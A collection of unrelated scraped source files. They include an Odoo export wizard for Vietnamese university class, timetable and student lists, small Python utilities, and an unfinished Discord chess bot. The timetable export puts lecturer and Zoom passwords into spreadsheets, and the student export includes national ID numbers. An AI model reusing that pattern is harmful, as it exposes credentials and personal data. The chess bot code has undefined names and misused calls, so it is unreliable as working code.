coluna\n","repo_name":"KennyFukita/Python","sub_path":"exercicios_treinamento/ex7.py","file_name":"ex7.py","file_ext":"py","file_size_in_byte":1493,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"9897741596","text":"import base64\nfrom multiprocessing.dummy import active_children\nimport os\nimport tempfile\nfrom numpy import require\nimport pandas as pd\nfrom odoo import fields, models\nfrom datetime import datetime\n\n\"\"\"\nthêm mã sinh viên, ngày tháng năm sinh\nfill các dữ liệu ở trên với tất cả các dòng\n\nchia các lớp hành chính thành từng sheet.\nChia 2 options khi export:\n + như trên.\n + có 2 file: lớp hành chính + sinh viên lớp hành chính.\n \n\"\"\"\nclass LopHanhChinhExportWizard(models.TransientModel):\n _name = \"lop_hanh_chinh.custom_export\"\n _description = \"Export lớp hành chính\"\n\n lop_hanh_chinh_ids = fields.Many2many(\n \"lop_hanh_chinh\",\n string=\"Lớp hành chính\"\n )\n\n _header = {\n \"tich_hop\": [\n \"Tên lớp hành chính\", \"Hình thức đào tạo\", \"Khóa sinh viên\", \"Ngành\", \"Cán bộ phụ trách\",\n \"Năm học\", \"Số thứ tự đợt nhập học\", \"Tên sinh viên\", \"Mã sinh viên\"\n ],\n \"rieng_biet\": [\n \"Hình thức đào tạo\", \"Khóa sinh viên\", \"Ngành\", \"Cán bộ phụ trách\",\n \"Năm học\", \"Số thứ tự đợt nhập học\", \"Cơ sở đào tạo\", \"Số thứ tự lớp\"\n ]\n }\n\n export_options = fields.Selection([\n (\"rieng_biet\", \"Danh sách sinh viên và lớp hành chính riêng biệt\"),\n (\"tich_hop\", \"Danh sách sinh viên và lớp hành chính tích hợp\")\n ],\n string=\"Biểu mẫu xuất\",\n required=True)\n\n def export_lop_hanh_chinh(self):\n fd, path = tempfile.mkstemp(suffix='.xlsx')\n if self.export_options == \"tich_hop\":\n df1 = pd.DataFrame(columns=self._header[\"tich_hop\"])\n for record in self.lop_hanh_chinh_ids:\n for sinhvien in record.sinh_vien_ids:\n df1 = df1.append(\n {\n \"Tên lớp hành chính\" : record.ten_lop_hanh_chinh, \n \"Hình thức đào tạo\" : record.hinh_thuc_dao_tao_id.ten_hinh_thuc_dao_tao, \n \"Khóa sinh viên\" : record.khoa_sinh_vien.so_thu_tu_khoa, \n \"Ngành\" : record.nganh.ten_nganh, \n \"Cán bộ phụ trách\" : record.can_bo_id.ma_dinh_danh,\n \"Năm học\" : record.khoa_sinh_vien.nam_hoc.ten_nam_hoc, \n \"Số thứ tự đợt nhập học\" : record.khoi_lop_id.dot_nhap_hoc_id.thu_tu_dot, \n \"Tên sinh viên\" : sinhvien.name, \n \"Mã sinh viên\" : sinhvien.ma_dinh_danh,\n },\n ignore_index=True\n )\n with pd.ExcelWriter(path) as writer:\n df1.to_excel(writer,\n sheet_name='Danh sách sinh viên lớp hành chính',\n index=False)\n else:\n df1 = pd.DataFrame(columns=self._header[\"rieng_biet\"])\n for record in self.lop_hanh_chinh_ids:\n df1 = df1.append(\n {\n \"Hình thức đào tạo\" : record.hinh_thuc_dao_tao_id.ten_hinh_thuc_dao_tao, \n \"Khóa sinh viên\" : record.khoa_sinh_vien.so_thu_tu_khoa, \n \"Ngành\" : record.nganh.ten_nganh, \n \"Cán bộ phụ trách\" : record.can_bo_id.ma_dinh_danh,\n \"Năm học\" : record.khoa_sinh_vien.nam_hoc.ten_nam_hoc, \n \"Số thứ tự đợt nhập học\" : record.khoi_lop_id.dot_nhap_hoc_id.thu_tu_dot, \n \"Cơ sở đào tạo\" : record.co_so_dao_tao_moi.ten_co_so_dao_tao, \n \"Số thứ tự lớp\" : record.so_thu_tu_lop,\n },\n ignore_index=True\n )\n df2 = pd.DataFrame(columns=[\"Mã sinh viên\", \"Tên lớp hành chính\"])\n for record in self.lop_hanh_chinh_ids:\n for sinhvien in record.sinh_vien_ids:\n df2 = df2.append(\n {\n \"Mã sinh viên\" : sinhvien.ma_dinh_danh,\n \"Tên lớp hành chính\" : sinhvien.lop_hanh_chinh_id.ten_lop_hanh_chinh,\n },\n ignore_index=True\n )\n with pd.ExcelWriter(path) as writer:\n df1.to_excel(writer,\n sheet_name='Danh sách lớp hành chính',\n index=False)\n df2.to_excel(writer,\n sheet_name='Danh sách sinh viên lớp hành chính',\n index=False)\n\n result = base64.b64encode(os.fdopen(fd, \"rb\").read())\n attachment = self.env['ir.attachment'].create({\n 'name': \"lop_hanh_chinh.xlsx\",\n 'store_fname': 'thsl.xlsx',\n 'datas': result\n })\n return {\n 'type': 'ir.actions.act_url',\n 'url': '/web/content/%s?download=true' % (attachment.id),\n 'target': 'self',\n }\n\nclass LopTinChiExportWizard(models.TransientModel):\n _name = \"lop_tin_chi.custom_export\"\n _description = \"Export lớp tín chỉ\"\n\n export_template = fields.Selection([\n (\"AIS\", \"AISoft\"),\n (\"AQ\",\"Anh Quân\"),\n ],required=True)\n\n lop_tin_chi_id = fields.Many2many(\n \"lop_tin_chi\",\n string=\"Lớp tín chỉ\"\n )\n\n def export_lop_tin_chi(self):\n #Template của Anh Quân\n if self.export_template == \"AQ\":\n fd, path = tempfile.mkstemp(suffix='.xlsx')\n df = pd.DataFrame(columns=[\"GcKQDK\",\n \"NhomHoc\", \"ToHoc\", \"MaMH\", \"TenMH\", \"SoTinChi\", \"MaSV\", \"HoLotSV\", \"TenSV\", \"NgaySinhC\", \"MaLop\",\n \"MaKhoa\", \"TenKhoa\", \"MaNganh\", \"TenNganh\", \"SoTCHP\",\n ])\n for record in self.lop_tin_chi_id:\n for sv in record.sinh_vien_ids:\n ngaysinh = sv.ngay_sinh\n ngaysinh = ngaysinh.strftime(\"%d/%m/%Y\")\n df = df.append(\n {\n \"GcKQDK\" : \"\",\n \"NhomHoc\" : record.so_thu_tu_lop,\n \"ToHoc\" : \"\",\n \"MaMH\" : record.mon_hoc_ids.ma_hoc_phan_moi,\n \"TenMH\" : record.ten_hoc_phan,\n \"SoTinChi\" : record.so_tin_chi,\n \"MaSV\" : sv.ma_dinh_danh,\n \"HoLotSV\" : sv.ho_dem,\n \"TenSV\" : sv.ten,\n \"NgaySinhC\" : ngaysinh,\n \"MaLop\" : sv.lop_hanh_chinh_id.ten_lop_hanh_chinh,\n \"MaKhoa\" : record.mon_hoc_ids.khoa_id.ma_khoa,\n \"TenKhoa\" : record.mon_hoc_ids.khoa_id.ten_khoa,\n \"MaNganh\" : sv.ma_nganh,\n \"TenNganh\" : sv.ten_nganh,\n \"SoTCHP\" : record.so_tin_chi,\n },\n ignore_index=True\n )\n df.to_excel(path, index=False, encoding=\"utf-8-sig\")\n result = base64.b64encode(os.fdopen(fd, \"rb\").read())\n attachment = self.env['ir.attachment'].create({\n 'name': \"danh_sach_lop_tin_chi.xlsx\",\n 'store_fname': 'dsltc.xlsx',\n 'datas': result\n })\n return {\n 'type': 'ir.actions.act_url',\n 'url': '/web/content/%s?download=true' % (attachment.id),\n 'target': 'self',\n }\n # Template của AIS\n elif self.export_template == \"AIS\":\n fd, path = tempfile.mkstemp(suffix='.xlsx')\n \n df = pd.DataFrame(columns=[\n \"Mã sinh viên\", \"Mã học phần\", \"Số thứ tự lớp\", \"Số thứ tự nhóm lớp\"\n ])\n df_ltc = pd.DataFrame(columns=[\n \"Mã học phần\", \"Số thứ tự lớp tín chỉ\", \"Mã giảng viên\", \"Số lượng nhóm thực hành\"\n ])\n for record in self.lop_tin_chi_id:\n\n df_ltc = df_ltc.append(\n {\n \"Mã học phần\" : record.mon_hoc_ids.ma_hoc_phan_moi,\n \"Số thứ tự lớp tín chỉ\" : record.so_thu_tu_lop,\n \"Mã giảng viên\" : record.giang_vien_id.ma_dinh_danh,\n \"Số lượng nhóm thực hành\" : len(record.nhom_lop_tin_chi_id),\n },\n ignore_index=True\n )\n for sv in record.sinh_vien_ids:\n # ToHoc = self.env['nhom_lop_tin_chi'].search([\n # (\"lop_tin_chi_id.id\", \"=\", self.lop_tin_chi_id),\n # (\"id\", \"in\", sv.nhom_lop_tin_chi_ids)\n # ])\n # ToHoc = ToHoc.so_thu_tu_nhom\n\n df = df.append(\n {\n \"Mã sinh viên\" : sv.ma_dinh_danh,\n \"Mã học phần\" : record.mon_hoc_ids.ma_hoc_phan_moi,\n \"Số thứ tự lớp\" : record.so_thu_tu_lop,\n \"Số thứ tự nhóm lớp\" : \"\",\n },\n ignore_index=True\n )\n \n\n with pd.ExcelWriter(path) as writer:\n df.to_excel(writer,\n sheet_name='Danh sách sinh viên lớp tín chỉ',\n index=False)\n df_ltc.to_excel(writer,\n sheet_name='Danh sách lớp tín chỉ',\n index=False)\n result = base64.b64encode(os.fdopen(fd, \"rb\").read())\n attachment = self.env['ir.attachment'].create({\n 'name': \"danh_sach_lop_tin_chi.xlsx\",\n 'store_fname': 'dsltc.xlsx',\n 'datas': result\n })\n return {\n 'type': 'ir.actions.act_url',\n 'url': '/web/content/%s?download=true' % (attachment.id),\n 'target': 'self',\n }\n\n\nclass TKBExportWizard(models.TransientModel):\n _name = \"thoi_khoa_bieu.custom_export\"\n _description = \"Export thời khóa biểu\"\n\n _header = {\n \"AIS\": [\n \"Mã học phần\",\n \"Số thứ tự lớp\",\n \"Số thứ tự nhóm lớp\",\n \"Từ ngày\",\n \"Đến ngày\",\n \"Thứ kiểu số\",\n \"Tiết bắt đầu\",\n \"Tiết kết thúc\",\n \"Tài khoản GV\",\n \"Mật khẩu GV\",\n \"ID Zoom\",\n \"Mật khẩu Zoom\",\n \"Phòng học\",\n \"Mã kỳ học\",\n ],\n \"AQ\": [\n \"TenMH\",\n \"MaNV\",\n \"TenDayDuNV\",\n \"MaMH\",\n \"NHHK\",\n \"NhomTo\",\n \"ToTH\",\n \"NgayBDHK\",\n \"DSTuanHoc\",\n \"ThuKieuSo\",\n \"TietBD\",\n \"SoTiet\",\n \"MaPH\",\n \"HinhThucHoc\",\n \"GioHoc\",\n ],\n \"PTTC1\": [\n \"Tên môn học\",\n \"Mã học phần\",\n \"Nhóm lớp môn học\",\n \"Sĩ số từng nhóm\",\n \"Số tín chỉ\",\n \"Tổng số tiết học\",\n \"Hướng dẫn học tập môn học (15%)\",\n \"Thí nghiệm, thực hành\",\n \"Thứ\",\n \"Ngày\",\n \"Tiết bắt đầu (*)\",\n \"Số tiết\",\n \"Giảng viên\",\n \"Mã giảng viên\",\n \"Điện thoại\",\n \"Lớp\",\n \"Tài khoản\",\n \"Mật khẩu\",\n \"ID phòng học\",\n \"Mật khẩu Zoom\",\n \"Số thứ tự đợt đăng ký tín chỉ\",\n ],\n }\n\n export_template = fields.Selection(string=\"Mẫu export\",\n selection=[(\"AIS\", \"A.I.Soft\"),\n (\"AQ\", \"Anh Quân\"),\n (\"PTTC1\", \"PTTC1\")],\n required=True)\n\n buoi_hoc_id = fields.Many2many(\n \"buoi_hoc\",\n string=\"Buổi học\"\n )\n\n\n def export_buoi_hoc(self):\n fd, path = tempfile.mkstemp(suffix='.xlsx')\n df = pd.DataFrame(columns=self._header[self.export_template])\n if self.export_template == \"AIS\":\n for record in self.buoi_hoc_id:\n \n df = df.append(\n {\n \"Mã học phần\" : record.hoc_phan_id.ma_hoc_phan_moi,\n \"Số thứ tự lớp\" : record.lop_tin_chi_id.so_thu_tu_lop,\n \"Số thứ tự nhóm lớp\": record.lop_tin_chi_id.nhom_lop_tin_chi_id.so_thu_tu_nhom, \n \"Từ ngày\" : record.ngay_bd,\n \"Đến ngày\" : \"\", \n \"Thứ kiểu số\": record.thu_kieu_so,\n \"Tiết bắt đầu\" : record.tiet_bd.tiet_hoc, \n \"Tiết kết thúc\" : record.tiet_kt.tiet_hoc,\n \"Tài khoản GV\" : record.tai_khoan, \n \"Mật khẩu GV\" : record.mat_khau, \n \"ID Zoom\" : record.id_zoom, \n \"Mật khẩu Zoom\" : record.mat_khau_1,\n \"Phòng học\" : record.phong_hoc,\n \"Mã kỳ học\" : record.ky_nam_hoc_id.ma_ky_nam_hoc,\n },\n ignore_index=True\n )\n elif self.export_template == \"AQ\":\n for record in self.buoi_hoc_id:\n df = df.append(\n {\n \"TenMH\": record.hoc_phan_id.name,\n \"MaNV\" : record.giang_vien_id.ma_dinh_danh,\n \"TenDayDuNV\": record.ten_giang_vien,\n \"MaMH\" : record.hoc_phan_id.ma_hoc_phan_moi,\n \"NHHK\" : record.ky_nam_hoc_id.ma_ky_nam_hoc,\n \"NhomTo\": record.nhom_lop_tin_chi_id.so_thu_tu_nhom,\n \"ToTH\": record.nhom_lop_tin_chi_id.so_thu_tu_nhom,\n \"NgayBDHK\" : record.ngay_bd,\n \"DSTuanHoc\" : record.tuan_hoc,\n \"ThuKieuSo\" : record.thu_kieu_so,\n \"TietBD\" : record.tiet_bd.tiet_hoc,\n \"SoTiet\": record.so_tiet,\n \"MaPH\" : record.hoc_phan_id.ma_hoc_phan_moi,\n \"GioHoc\" : record.ngay_gio_hoc, \n },\n ignore_index=True\n )\n else:\n for record in self.buoi_hoc_id:\n df = df.append(\n {\n \"Tên môn học\" : record.hoc_phan_id.name,\n \"Mã học phần\" : record.hoc_phan_id.ma_hoc_phan_moi,\n \"Nhóm lớp môn học\" : record.nhom_lop_tin_chi_id.so_thu_tu_nhom,\n \"Sĩ số từng nhóm\" : \"\",\n \"Số tín chỉ\" : record.lop_tin_chi_id.so_tin_chi,\n \"Tổng số tiết học\" : record.so_tiet,\n \"Hướng dẫn học tập môn học (15%)\" : \"\",\n \"Thí nghiệm, thực hành\" : \"\",\n \"Thứ\" : record.thu_kieu_so,\n \"Ngày\" : record.ngay_bd,\n \"Tiết bắt đầu (*)\" : record.tiet_bd.tiet_hoc,\n \"Số tiết\" : record.so_tiet,\n \"Giảng viên\" : record.ten_giang_vien,\n \"Mã giảng viên\" : record.giang_vien_id.ma_dinh_danh,\n \"Điện thoại\" : record.dien_thoai,\n \"Lớp\" : record.lop_tin_chi_id.ma_lop,\n \"Tài khoản\" : record.tai_khoan,\n \"Mật khẩu\" : record.mat_khau,\n \"ID phòng học\" : record.id_zoom,\n \"Mật khẩu Zoom\" : record.mat_khau_1,\n \"Số thứ tự đợt đăng ký tín chỉ\" : record.lop_tin_chi_id.dot_dk_tin_chi_id.so_thu_tu_dot,\n },\n ignore_index=True\n )\n df.to_excel(path, index=False, encoding=\"utf-8-sig\")\n result = base64.b64encode(os.fdopen(fd, \"rb\").read())\n attachment = self.env['ir.attachment'].create({\n 'name': \"danh_sach_buoi_hoc.xlsx\",\n 'store_fname': 'dsbh.xlsx',\n 'datas': result\n })\n return {\n 'type': 'ir.actions.act_url',\n 'url': '/web/content/%s?download=true' % (attachment.id),\n 'target': 'self',\n }\n\"\"\"\ndomain theo hình thức đào tạo\nthêm trường lớp hành chính hiên tại\n\n\"\"\"\nclass SinhVienExportWizard(models.TransientModel):\n _name = \"sinh_vien.custom_export\"\n _description = \"Export danh sách sinh viên\"\n _header = [\n \"Mã sinh viên\",\"Ngành\", \"Họ và tên\", \"Họ đệm\", \"Tên\", \"Ngày sinh\", \"Email\",\n \"Chứng minh nhân dân/Căn cước công dân\", \"Số điện thoại\"\n ]\n\n export_options = fields.Selection([\n (\"khoa_nganh\", \"Khóa - Ngành\"),\n (\"lop_hanh_chinh\", \"Lớp hành chính\"),\n (\"tuy_chon\", \"danh sách sinh viên tự chọn\")],\n string=\"Export theo nhóm\",\n required=True)\n\n hinh_thuc_dao_tao = fields.Many2one(\"hinh_thuc_dao_tao\",\n default=lambda self : self.env.user.hinh_thuc_dao_tao_id,\n string=\"Hình thức đào tạo\",\n required=True)\n sinh_vien_ids = fields.Many2many(\"sinh_vien\",\n string=\"Danh sách sinh viên\"\n )\n lop_hanh_chinh_ids = fields.Many2many(\"lop_hanh_chinh\",\n string=\"Lớp hành chính\",\n domain=\"[('hinh_thuc_dao_tao_id', '=', hinh_thuc_dao_tao)]\")\n khoa_nganh_id = fields.Many2one(\"khoa_nganh\",\n string=\"Khóa ngành\",\n domain=\"[('hinh_thuc_dao_tao_id', '=', hinh_thuc_dao_tao)]\")\n\n def export_dssv(self):\n fd, path = tempfile.mkstemp(suffix='.xlsx') \n df = pd.DataFrame(columns=self._header) \n if self.export_options == \"tuy_chon\":\n for record in self.sinh_vien_ids:\n df = df.append(\n {\n \"Mã sinh viên\" : record.ma_dinh_danh,\n \"Ngành\" : record.nganh_id.ten_nganh,\n \"Họ và tên\" : record.name, \n \"Họ đệm\" : record.ho_dem, \n \"Tên\" : record.ten, \n \"Ngày sinh\" : (record.ngay_sinh).strftime(\"%d/%m/%Y\"), \n \"Email\" : record.email,\n \"Chứng minh nhân dân/Căn cước công dân\" : record.so_cmnd, \n \"Số điện thoại\" : record.so_dien_thoai,\n },\n ignore_index=True\n )\n elif self.export_options == \"lop_hanh_chinh\":\n for record in self.lop_hanh_chinh_ids:\n for sv in record.sinh_vien_ids:\n df = df.append(\n {\n \"Mã sinh viên\" : sv.ma_dinh_danh,\n \"Ngành\" : sv.nganh_id.ten_nganh,\n \"Họ và tên\" : sv.name, \n \"Họ đệm\" : sv.ho_dem, \n \"Tên\" : sv.ten, \n \"Ngày sinh\" : (sv.ngay_sinh).strftime(\"%d/%m/%Y\"), \n \"Email\" : sv.email,\n \"Chứng minh nhân dân/Căn cước công dân\" : sv.so_cmnd, \n \"Số điện thoại\" : sv.so_dien_thoai,\n },\n ignore_index=True\n )\n elif self.export_options == \"khoa_nganh\":\n dssv = self.env[\"sinh_vien\"].search([\n (\"khoa_nganh_id\", \"=\", self.khoa_nganh_id.id),\n (\"hinh_thuc_dao_tao_id\", \"=\", self.hinh_thuc_dao_tao.id)\n ])\n for record in dssv:\n df = df.append(\n {\n \"Mã sinh viên\" : record.ma_dinh_danh,\n \"Ngành\" : record.nganh_id.ten_nganh,\n \"Họ và tên\" : record.name, \n \"Họ đệm\" : record.ho_dem, \n \"Tên\" : record.ten, \n \"Ngày sinh\" : (record.ngay_sinh).strftime(\"%d/%m/%Y\"), \n \"Email\" : record.email,\n \"Chứng minh nhân dân/Căn cước công dân\" : record.so_cmnd, \n \"Số điện thoại\" : record.so_dien_thoai,\n },\n ignore_index=True\n )\n df.to_excel(path, index=False, encoding=\"utf-8-sig\")\n result = base64.b64encode(os.fdopen(fd, \"rb\").read())\n attachment = self.env['ir.attachment'].create({\n 'name': \"danh_sach_sinh_vien.xlsx\",\n 'store_fname': 'dssv.xlsx',\n 'datas': result\n })\n return {\n 'type': 'ir.actions.act_url',\n 'url': '/web/content/%s?download=true' % (attachment.id),\n 'target': 'self',\n }","repo_name":"nminhquang380/odoo","sub_path":"wizard/custom_export.py","file_name":"custom_export.py","file_ext":"py","file_size_in_byte":22129,"program_lang":"python","lang":"vi","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"14848129593","text":"import json\r\nfrom typing import Any, Dict, List, Union\r\nimport os\r\n\r\n\r\ndef load_jsonl_file(\r\n path: str\r\n) -> list:\r\n with open(path, 'r', encoding='utf-8') as f:\r\n return [json.loads(line) for line in f.readlines()]\r\n\r\n\r\ndef write_jsonl_file(\r\n path: str,\r\n data: Union[List[Dict[str, Any]], List[str]],\r\n overwrite: bool = False\r\n) -> list:\r\n if overwrite:\r\n try:\r\n os.remove(path)\r\n except:\r\n pass\r\n with open(path, 'a+', encoding='utf-8') as f:\r\n for line in data:\r\n f.write(json.dumps(line) + '\\n')\r\n","repo_name":"LucaDeGrandis/text_metrics_wrapper","sub_path":"text_metrics_wrapper/utils/manage_jsonl_files.py","file_name":"manage_jsonl_files.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"7410901073","text":"from collections import deque\nimport sys\n\ninput = sys.stdin.readline\n\n# 최대 5 * 10^5\nN, K = map(int, input().rstrip().split())\n\ndigits = deque(input().rstrip())\n\nq = deque()\nq.append(digits.popleft())\nk = K\n\nwhile digits:\n digit = digits.popleft()\n\n while k and q and q[-1] < digit:\n q.pop()\n k -= 1\n \n q.append(digit)\n # print(q)\n\nprint(int(\"\".join(list(q)[:(N - K)])))\n","repo_name":"poodlepoodle/problem-solving","sub_path":"baekjoon/2812_1.py","file_name":"2812_1.py","file_ext":"py","file_size_in_byte":403,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"19297419271","text":"\nfrom lofar.messaging import RPCClientContextManagerMixin, RPCClient, DEFAULT_BROKER, DEFAULT_BUSNAME, DEFAULT_RPC_TIMEOUT\nfrom .config import SPECIFICATIONTRANSLATION_SERVICENAME\nimport logging\nlogger = logging.getLogger(__file__)\n\n\nclass TranslationRPC(RPCClientContextManagerMixin):\n\n def __init__(self, rpc_client: RPCClient = None):\n super(TranslationRPC, self).__init__()\n self._rpc_client = rpc_client or RPCClient(SPECIFICATIONTRANSLATION_SERVICENAME)\n\n @staticmethod\n def create(exchange: str = DEFAULT_BUSNAME, broker: str = DEFAULT_BROKER, timeout: int = DEFAULT_RPC_TIMEOUT):\n return TranslationRPC(RPCClient(service_name=SPECIFICATIONTRANSLATION_SERVICENAME, exchange=exchange, broker=broker, timeout=timeout))\n\n def trigger_to_specification(self, trigger_spec, trigger_id, job_priority):\n logger.info(\"Requesting validation of trigger XML\")\n result = self._rpc_client.execute('trigger_to_specification',\n trigger_spec=trigger_spec,\n trigger_id=trigger_id,\n job_priority=job_priority)\n logger.info(\"Received validation result -> \" +str(result))\n return result\n\n\n def specification_to_momspecification(self, spec):\n logger.info(\"Requesting validation of trigger XML\")\n result = self._rpc_client.execute('specification_to_momspecification', spec_xml=spec)\n logger.info(\"Received validation result -> \" +str(result))\n return result\n","repo_name":"kernsuite-debian/lofar","sub_path":"SAS/SpecificationServices/lib/translation_service_rpc.py","file_name":"translation_service_rpc.py","file_ext":"py","file_size_in_byte":1509,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"26785612537","text":"import re\n\n\ndef underscoreify(attr):\n \"\"\"Return a camel case attr's name with underscores.\n\n Sometime it's obstructive to have camel case attributes in a project that\n otherwise uses underscores. This is a helper to translate camel case\n attribute names to their underscore using equivalent.\n\n :param attr: The came case attribute to convert.\n\n \"\"\"\n def replacer(match):\n return '{first}_{second}'.format(\n first=match.group('first'),\n second=match.group('second').lower())\n return re.sub('((?P[a-z])(?P[A-Z]))', replacer, attr)\n\n\ndef set_attributes(obj, key, value):\n \"\"\"Set all attributes on `obj` for the key.\n\n This is more complicated that just calling `setattr` because we also want to\n normalize camel case strings for non-class names.\n\n This method takes the same arguments as :func:`setattr`.\n\n \"\"\"\n if not key:\n raise ValueError('Attribute key cannot be None.')\n setattr(obj, key, value)\n if key[0].islower():\n setattr(obj, underscoreify(key), value)\n\n\ndef Metastruct(d):\n \"\"\"Convert a :class:`dict` to an object.\n\n Recursively convert a :class:`dict` into an object with attributes matching\n the keys of the original :class:`dict`.\n\n :param d: The :class:`dict` to convert.\n\n \"\"\"\n top = type('MetastructElement', (object,), d)\n seqs = tuple, list, set, frozenset\n for key, value in d.items():\n # If a `dict`, create another Metastruct\n if isinstance(value, dict):\n set_attributes(top, key, Metastruct(value))\n # If a `seqs`, process each item\n elif isinstance(value, seqs):\n seq = []\n for sub_value in value:\n if isinstance(sub_value, dict):\n seq.append(Metastruct(sub_value))\n else:\n seq.append(sub_value)\n set_attributes(top, key, type(value)(seq))\n # Else it is just a simple attribute\n else:\n set_attributes(top, key, value)\n return top\n","repo_name":"sholsapp/metastruct","sub_path":"metastruct/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1886,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"10467832732","text":"from mujoco_py import load_model_from_path, MjSim\nimport ray\nfrom python_visual_mpc.video_prediction.utils_vpred.create_gif_lib import npy_to_gif\n\n@ray.remote(num_gpus=1)\nclass SimWorker(object):\n def __init__(self):\n print('created worker')\n\n def create_sim(self):\n self.sim = MjSim(load_model_from_path('/mount/visual_mpc/mjc_models/cartgripper_noautogen.xml'))\n # self.sim = MjSim(load_model_from_path('/mnt/sda1/visual_mpc/mjc_models/cartgripper_noautogen.xml'))\n\n def run_sim(self):\n print('startsim')\n images = []\n for i in range(5):\n self.sim.step()\n images.append(self.sim.render(100, 100))\n return images\n\n\ndef run():\n\n use_ray = True\n\n if use_ray:\n # ray.init(driver_mode=ray.PYTHON_MODE)\n ray.init()\n workers = []\n nworkers = 1\n for i in range(nworkers):\n workers.append(SimWorker.remote())\n\n id_list = []\n for i, worker in enumerate(workers):\n id_list.append(worker.create_sim.remote())\n res = [ray.get(id) for id in id_list]\n\n id_list = []\n for i, worker in enumerate(workers):\n id_list.append(worker.run_sim.remote())\n\n for id in id_list:\n images = ray.get(id)\n # npy_to_gif(images, '~/Desktop/video{}'.format(id))\n npy_to_gif(images, '/Desktop/video')\n\n else:\n worker = SimWorker()\n worker.create_sim()\n images = worker.run_sim()\n npy_to_gif(images, '/Desktop/video')\n\n\nif __name__ == '__main__':\n run()\n","repo_name":"febert/robustness_via_retrying","sub_path":"python_visual_mpc/misc/minimal_ray_mujoco.py","file_name":"minimal_ray_mujoco.py","file_ext":"py","file_size_in_byte":1582,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"62"} +{"seq_id":"16137136777","text":"import io, random, shortuuid, chess, discord as dis, numpy as np\nfrom threading import Timer\nfrom datetime import datetime\nfrom PIL import Image\nfrom typing import Union\nC = lambda x:x\nprint(np.empty(8,8))\ndef outer(dyOp, vec1, vec2):\n l1, l2 = map(len,(vec1,vec2))\n r = empty(l1, l2)\n for i in range(len(A)):\n for j in range(len(B)):\n r[i,j] = dyOp(vec1[i], vec2[j])\n\ndef addLog(player, time): \n return {\n \"player\" :player,\n \"timestamp\":time,\n \"totals\" :0,\n \"wins\" :0,\n \"loses\" :0,\n }\n\n# region generator\n\nlayout = (\n range(0, 8 ),\n range(8, 16),\n range(16,24),\n range(24,32),\n range(32,40),\n range(40,48),\n range(48,56),\n range(56,64),\n)\n\n\ndef generate(board: chess.BaseBoard) -> Image:\n chessboard = Image.open(\"resources/chessboard.png\")\n\n for y in range(8):\n for x in range(8):\n piece = board.piece_at(layout[y][x])\n\n if piece is None:\n continue\n\n piece = Image.open(path(piece)).convert(\"RGBA\")\n \n chessboard.paste(piece, (25+84.5*x, 25+84.5*y), piece)\n\n return chessboard\n\ndef path(piece: chess.Piece) -> Union[str, None]:\n path = \"resources/\"\n\n if piece.color == chess.WHITE: path += \"white/\"\n if piece.color == chess.BLACK: path += \"black/\"\n\n if piece.piece_type == chess.PAWN : path += \"pawn.png\"\n if piece.piece_type == chess.KNIGHT: path += \"knight.png\"\n if piece.piece_type == chess.BISHOP: path += \"bishop.png\"\n if piece.piece_type == chess.ROOK : path += \"rook.png\"\n if piece.piece_type == chess.QUEEN : path += \"queen.png\"\n if piece.piece_type == chess.KING : path += \"king.png\"\n\n return path\n\n# endregion generator\n\n\n\ndef makeInvite(challenger: dis.Member, challenged: dis.Member, guild: dis.Guild):\n x = {\n 'invites':[],\n 'challenger':challenger,\n 'challenged':challenged,\n 'guild' :guild,\n 'timestamp' :datetime.now().strftime(\"%d-%m-%Y %H:%M\"),\n }\n def expire(invite):\n \n\n if invite in data[guildID][\"invites\"]:\n data[guildID][\"invites\"].pop(invite)\n Timer(300.0, expire, x).start()\n return x\n\ndef makeGame(white: dis.Member, black: dis.Member, guild: dis.Guild):\n return {\n 'id':shortuuid.ShortUUID().random(length = 6),\n 'white':white, 'black':black,\n 'guild':guild,\n 'board':chess.Board(),\n }\n\ndef get_member_by_name(guild: dis.Guild, name: str) -> dis.Member:\n for member in guild.members:\n if member.name.lower() == name.lower():\n return member\n \n if member.nick is not None and member.nick.lower() == name.lower():\n return member\n\n### Example\n\ndef DelDataSlot(slot,*arguments,data={},guildID=0,Save=0,**_):\n ValStr=' '.join(arguments)\n if ValStr in data[guildID][slot]:\n del data[guildID][slot][ValStr]\n Save(data)\n return'deleted'\n return\"Reply doesn't exist\"\n\n# Sends an invite for a new match to a specified `user`\ndef new(ctx, user = None): # create invite\n author, guild = ctx.message.author, ctx.message.author.guild\n\n user = get_member_by_name(guild, user)\n\n if author == user: \n return \"You cannot challenge yourself\"\n\n if user is None:\n return \"Please specify a valid user to challenge\"\n\n if get_game_from_user(user):\n return \"You cannot send invitations to a person who is already playing\"\n\n if get_game_from_user(author): \n return \"You cannot send other invitations while you are in the middle of a match\"\n\n for invite in data[guildID][\"invites\"]:\n if invite.challenger == author and invite.challenged == user and invite.guild == guild:\n return \"You have already invited this user\"\n\n data[guildID][\"invites\"].append((author, user, guild))\n\n return f\"{user.mention}, {author.name} wants to play a chess match against you! Use `!chess accept {author.name}` if you want to accept the invite\"\n\n# Accepts an invite sent by a specified `user` and starts a new match\nasync def accept(ctx, user = None, say=C):\n author, guild = ctx.message.author, ctx.message.author.guild\n user = get_member_by_name(guild, user)\n\n if user is None:\n return \"Please, specify a valid user to accept his invite\"\n\n if get_game_from_user(user):\n return \"The selected player is already playing, wait until he is done\"\n\n if get_game_from_user(author): \n return \"You cannot accept other invitations while you are in the middle of a match\"\n\n invite = None\n\n for index, element in enumerate(data[guildID][\"invites\"]):\n if (element[\"challenged\"], element[\"challenger\"], element[\"guild\"]) == (user, author, guild):\n invite = element\n del data[guildID][\"invites\"][index]\n break\n\n if invite is None:\n return \"No invite has been sent by the selected user\"\n\n white, black = random.sample([author, user], 2)\n \n game = Game(white, black, guild)\n data[guildID][\"games\"].append(game)\n\n file = get_binary_board(game.board)\n\n def Name(user:dis.Member):\n return user.nick if user.nick else user.display_name\n\n await say((\n \"Match started!\"\n f\"{Name(white)} as white!\"\n \"VS\"\n f\"{Name(black)} as 